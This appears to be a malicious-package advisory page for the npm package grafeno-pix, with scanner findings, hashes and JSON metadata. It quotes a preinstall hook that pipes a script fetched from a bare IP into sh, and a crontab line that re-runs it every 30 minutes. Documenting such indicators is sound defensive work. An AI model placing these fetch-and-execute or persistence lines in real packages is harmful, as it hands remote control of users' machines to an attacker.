mal-2026-15507
Vulnerability from ossf_malicious_packages
Published
2026-08-28 23:01
Modified
2026-08-29 01:44
Summary
Malicious code in grafeno-pix (npm)
Details
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3)
grafeno-pix@1.0.0 declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on npm install. The same hook installs a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh | sh) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.
Source: ossf-package-analysis (e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584)
The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
CWE
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "package.json",
"sha256": "8858ce71cedc3ad75bc2c2990ac66d7a0e4ed3eec444a05f537dc6078669a58b",
"tlsh": "9af05cf09c20f5737a4a01301a6942f6f3e34d5a1d08ac046b0a4268e1de3e35ebd89b"
}
],
"package_integrity": [
{
"filename": "grafeno-pix-1.0.0.tgz",
"hashes": {
"sha1": "f4066e0ade9fbd61206b572169d9030789f95abd",
"sha512_sri": "sha512-j/EdOWtXT3Lu80L2aAFzBQfMb1uNNRI9IHTAAZe0v51rMuufwqUT+5Pe4Z7PyXJmyfsaCUZnvVlCj7oCj17jBQ=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "grafeno-pix"
},
"versions": [
"1.0.0",
"1.0.1"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
},
{
"contact": [
"https://github.com/ossf/package-analysis",
"https://openssf.slack.com/channels/package_analysis"
],
"name": "OpenSSF: Package Analysis",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-019057",
"import_time": "2026-08-28T23:14:34.904017134Z",
"modified_time": "2026-08-28T23:01:11Z",
"sha256": "a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
},
{
"import_time": "2026-08-28T23:14:30.75400721Z",
"modified_time": "2026-08-28T23:12:52Z",
"sha256": "e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584",
"source": "ossf-package-analysis",
"versions": [
"1.0.1"
]
},
{
"id": "IN-MAL-2026-019114",
"import_time": "2026-08-29T01:42:58.075699083Z",
"modified_time": "2026-08-29T01:42:39Z",
"sha256": "e3faea79e69124549d9eb7b1ddf2a55285c8dcdede27aa1911da3a50d84491dd",
"source": "amazon-inspector",
"versions": [
"1.0.1"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3)\ngrafeno-pix@1.0.0 declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer\u0027s host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.\n\n## Source: ossf-package-analysis (e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584)\nThe OpenSSF Package Analysis project identified \u0027grafeno-pix\u0027 @ 1.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n",
"id": "MAL-2026-15507",
"modified": "2026-08-29T01:44:41.602325013Z",
"published": "2026-08-28T23:01:11Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/grafeno-pix/v/1.0.0"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/grafeno-pix/v/1.0.1"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in grafeno-pix (npm)"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…